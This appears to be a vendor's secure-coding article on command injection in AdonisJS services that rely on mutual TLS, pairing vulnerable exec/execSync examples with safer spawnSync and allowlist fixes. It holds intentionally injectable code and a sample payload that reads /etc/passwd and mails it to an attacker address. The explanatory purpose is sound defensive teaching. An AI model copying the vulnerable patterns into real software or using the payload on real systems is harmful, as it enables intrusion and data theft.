Command Injection in Adonisjs with Mutual Tls
Command Injection in Adonisjs with Mutual Tls
Command injection in AdonisJS typically arises when user-controlled input is passed directly to a system command without validation or sanitization. This risk does not disappear simply because the service uses mutual TLS (mTLS) for transport-layer authentication and encryption. With mTLS, both the client and server present certificates during the TLS handshake, which strongly authenticates the endpoints and protects data in transit. However, mTLS does not constrain what the server does with data it receives after the connection is established. If an AdonisJS application accepts a certificate and an authenticated HTTP request, then forwards a parameter to a shell command (for example via child process utilities), the mTLS session remains valid while the command injection path is still exploitable.
Consider an endpoint that lists files for a given tag, where the tag value is used in a system command:
const { exec } = require('child_process');
const fs = use('fs');
async function handle ({ request, response }) {
const tag = request.input('tag');
// Dangerous: user input reaches shell without sanitization
exec(`tar -czf /tmp/backup-${tag}.tar.gz /data/${tag}`, (error, stdout, stderr) => {
if (error) return response.internalServerError({ error: error.message });
response.send({ file: `/tmp/backup-${tag}.tar.gz` });
});
}
Here, mTLS ensures the caller is who they claim to be, but the tag value is interpolated directly into the command string. An authenticated attacker can supply a tag such as ; cat /etc/passwd | mail [email protected] or $(id), leading to command injection despite the presence of mTLS. The mTLS handshake does not validate or sanitize application-level parameters, so the server may still execute unintended commands with the privileges of the process.
Another scenario involves AdonisJS services that invoke tools to process certificates or keys (for example, calling OpenSSL via a helper). If certificate fields such as Common Name (CN) or Subject Alternative Name (SAN) are used unsafely in those calls, an attacker who presents a malicious certificate can inject commands. For instance, extracting a CN and passing it to a system utility without escaping creates a clear injection vector:
const { execSync } = require('child_process');
const certInfo = getCertificateDetails(); // hypothetical; CN extracted from client cert
const cn = certInfo.commonName;
// Risk: CN from certificate used in shell command
execSync(`openssl verify -CAfile /etc/ca.pem ${cn}`);
In this case, mTLS is used for client authentication, but the CN from the certificate is treated as trusted input. If an attacker can influence the certificate’s CN (for example, by requesting a certificate with a crafted CN), they can attempt command injection. The framework’s TLS configuration does not protect against this; secure input validation and strict allowlisting are still required.
Therefore, the combination of AdonisJS and mTLS creates a false sense of security if developers assume encrypted and authenticated transport alone prevents injection. The server must treat all data originating from the request—including headers, body fields, and certificate attributes—as untrusted when constructing commands. Defense relies on avoiding shell interpolation entirely, using parameterized APIs, and applying strict input validation regardless of transport protections.
Mutual Tls-Specific Remediation in Adonisjs
Remediation focuses on preventing command injection irrespective of mTLS by avoiding shell command construction with untrusted data. The safest approach is to avoid shell execution entirely; use built-in Node.js APIs or libraries that do not invoke a shell. When system utilities are unavoidable, use parameterized calls that do not rely on string interpolation, and rigorously validate and restrict inputs.
Example: Replace exec with safer alternatives for file archiving, avoiding shell interpolation:
const archiver = use('archiver');
const fs = use('fs');
const path = use('path');
async function handle ({ request, response }) {
const tag = request.input('tag');
// Validate tag strictly: alphanumeric and limited length
if (!/^[a-zA-Z0-9_-]{1,32}$/.test(tag)) {
return response.badRequest({ error: 'Invalid tag' });
}
const outputPath = path.join('/tmp', `backup-${tag}.tar.gz`);
const output = fs.createWriteStream(outputPath);
const archive = archiver('tar', {
gzip: true,
gzipOptions: { level: 9 }
});
archive.pipe(output);
archive.directory(path.join('/data', tag), false);
await archive.finalize();
response.download(outputPath);
}
This approach removes shell involvement, eliminating command injection while still achieving the intended functionality. Input validation with a strict allowlist ensures the tag conforms to expected patterns before any processing.
When shell usage is unavoidable, use spawn with explicit arguments and avoid shell metacharacters. For example, if OpenSSL verification is required, pass arguments as an array and avoid string concatenation:
const { spawnSync } = require('child_process');
const tag = request.input('tag');
// Strict allowlist for tag used as filename component, not as shell argument
if (!/^[a-zA-Z0-9_-]+$/.test(tag)) {
return response.badRequest({ error: 'Invalid tag' });
}
const certPath = `/certs/${tag}.pem`;
const result = spawnSync('openssl', ['verify', '-CAfile', '/etc/ca.pem', certPath], {
encoding: 'utf8',
stdio: 'pipe'
});
if (result.error) {
return response.internalServerError({ error: result.error.message });
}
response.send({ verified: result.status === 0 });
In this pattern, the tag is still validated strictly, but the certificate path is constructed server-side rather than relying on untrusted input for shell syntax. The spawnSync call uses an array of arguments, which bypasses shell interpretation and prevents injection even if the tag contains unexpected characters.
For mTLS-specific handling, ensure certificate fields such as CN or SAN are validated and constrained before use. Do not trust certificate attributes for command construction. If you must use them, treat them as untrusted input and apply the same allowlisting and encoding rules:
const tlsOptions = {
key: fs.readFileSync('/etc/ssl/private/server.key'),
cert: fs.readFileSync('/etc/ssl/certs/server.crt'),
requestCert: true,
rejectUnauthorized: true
};
// After establishing mTLS, extract certificate fields cautiously
const cert = request.socket.getPeerCertificate();
const commonName = cert.subject ? cert.subject.CN : '';
// Validate CN before any usage; do not pass to shell
if (!/^[a-zA-Z0-9._-]+$/.test(commonName)) {
return response.badRequest({ error: 'Invalid certificate CN' });
}
// Use commonName only in safe, non-shell contexts, such as lookup maps
By combining strict input validation, safe APIs, and argument arrays, you mitigate command injection risks while retaining mTLS for transport security. middleBrick scans can help identify such injection paths in unauthenticated attack surfaces, providing prioritized findings and remediation guidance to harden AdonisJS endpoints.
Related CWEs: inputValidation
| CWE ID | Name | Severity |
|---|---|---|
| CWE-20 | Improper Input Validation | HIGH |
| CWE-22 | Path Traversal | HIGH |
| CWE-74 | Injection | CRITICAL |
| CWE-77 | Command Injection | CRITICAL |
| CWE-78 | OS Command Injection | CRITICAL |
| CWE-79 | Cross-site Scripting (XSS) | HIGH |
| CWE-89 | SQL Injection | CRITICAL |
| CWE-90 | LDAP Injection | HIGH |
| CWE-91 | XML Injection | HIGH |
| CWE-94 | Code Injection | CRITICAL |